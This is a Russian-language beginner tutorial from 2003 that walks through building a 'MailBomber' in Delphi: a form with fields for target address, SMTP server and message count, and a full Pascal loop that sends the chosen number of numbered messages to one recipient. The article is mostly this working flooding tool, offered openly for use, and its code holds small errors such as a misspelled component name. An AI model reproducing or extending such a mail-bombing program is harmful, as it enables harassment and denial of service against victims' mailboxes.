MailBomber на Delphi

Untitled Document Привет! Сейчас я расскажу (и покажу ;)) как сделать MailBomber на Delphi, да не простой, а который будет в конце сообщения будет писать что-то вроде “Читай сообщение #Х”. Итак приступим.
Шаг №1.

Устанавливаем Delphi, желательно 5-ой версии, запускаем, жмем на пимпу New->Application и лепим форму: делаем 7 полей, типа Edit (c панели Standart), 1 кнопку (тип Button, c панели Standart) и лепим на форму компонент TNMSMTP (с панели FastNet), а также текстовую область Memo1 (c панели Standart).

Пусть: Edit1 будет “адрес получателя” (напишем это в Object Inspector->Edit1->Properties-> Text).
Edit2 будет “почтовый сервер” (напишем это в Object Inspector->Edit2-> Properties-> Text).
Edit3 будет “добавочный текст”, который в письме будет ‘_т_е_л_о__п_и_с_ь_м_а <br> _д_о_б_а_в_о_ч_н_ы_й__т_е_к_с_т # X’, где Х- номер следующего письма, а <br> - перевод на другую строку (напишем что-то в этом роде в Object Inspector->Edit3-> Properties-> Text).
Edit4 будет “имя отправителя” (напишем это в Object Inspector->Edit4-> Properties-> Text).
Edit5 будет “количество сообщений” (напишем это в Object Inspector->Edit5-> Properties-> Text).
Edit6 будет “заголовок письма”, который в письме будет ‘з_а_г_о_л_о_в_о_к#Х’, где Х номер текущего письма. (напишем что-то в этом роде в Object Inspector->Edit6-> Properties-> Text).
Edit7 будет “название проги - отправителя” (напишем это в Object Inspector->Edit7-> Properties-> Text).
Button1 будет пимпа “отправить” (напишем это в Object Inspector->Button1-> Properties->Caption).
Memo1 будет телом сообщения.

Шаг №2

Пишем сам код. Выбираем окно Unit1.pas. Примичание: после знака // идет мои комментарии. И еще- данная прога рассчитана на то, что на первой строчки Memo1 будет тело письма, а на второй – добавочный текст + номер следующего письма (добавляется автоматом)

В Var добавляем переменную “kolvo: integer;“
На форме 2 кликаем на кнопке “отправить” и после
procedure TForm1.Button1Click(Sender: TObject);
begin

пишем

button1.enabled:=false; //делаем кнопку неактивной
kolvo:=0; //текущий номер письма=0
NMSMTP1.Host:= Edit2.text; // имя SMTP сервера
NMSMTP1.Port:= 25; //порт
NMSMTP1.Connect;
//пока количество отправеленных писем не станет равно введенному-делай:
while kolvo<>(StrToInt(Edit5.text)) do begin
kolvo:= kolvo+1; // c каждым отправленным письмом увеличиваем kolvo на 1
NMSMTP1.PostMessage.FromAddress:= Edit1.text; //адрес получателя
NMSMTP1.PostMessage.FromName:= Edit4.text; //имя отправителя
NMSMTP1.PostMessage.ToAddress.Add(Edit1.text); //добавление адреса к списку адресов
//по которым отправляется данное сообщение
MSMTP1.PostMessage.Body.Clear; //очищаем тело письма
Memo1.Lines.Delete(1); //очищаем 2 строку
Memo1.Lines.Insert(1,Edit3.text+'#'+(intTostr(kolvo))); // добавление в 2-ую строку текст
NMSMTP1.PostMessage.Body.AddStrings(Memo1.Lines);//в body заносится содержимое Memo1
NMSMTP1.PostMessage.Subject:= Edit6.text+' '+'#'+IntToStr(kolvo); // заголовок письма
NMSMTP1.PostMessage.LocalProgram:= Edit7.text; // название проги-отправителя
NMSMTP1.SendMail;//отсылаем
//если все отправили показываем окошко, активируем кнопку, отсоединяемся
if kolvo=StrToInt(Edit5.text) then
begin
ShowMessage('Отправленно сообщений: '+ Edit5.text);
button1.enabled:=true;
NMSMTP1.Disconnect;
end;
end;
end;
end.

Шаг №3

Сохраняем, компилируем и запускаем Project->Build Project1.

Как это работает

При нажатии кнопки “отправить” а поле заголовок автоматом добавляется номер текущего письма, а в тело - добавочный текст + номер следующего письма.

Заключение

В этой статье я описал, как сделать простой MailBomber на Delphi. Если ты кодишь на Дельфи- добавляй и изменяй данный текст делая прогу круче.

<!-- ><!-- "><!-- '><!-- --> <!-- mailto:spm111@yandex.ru -->


Опубликовал admin
9 Июн, Понедельник 2003г.



Программирование для чайников.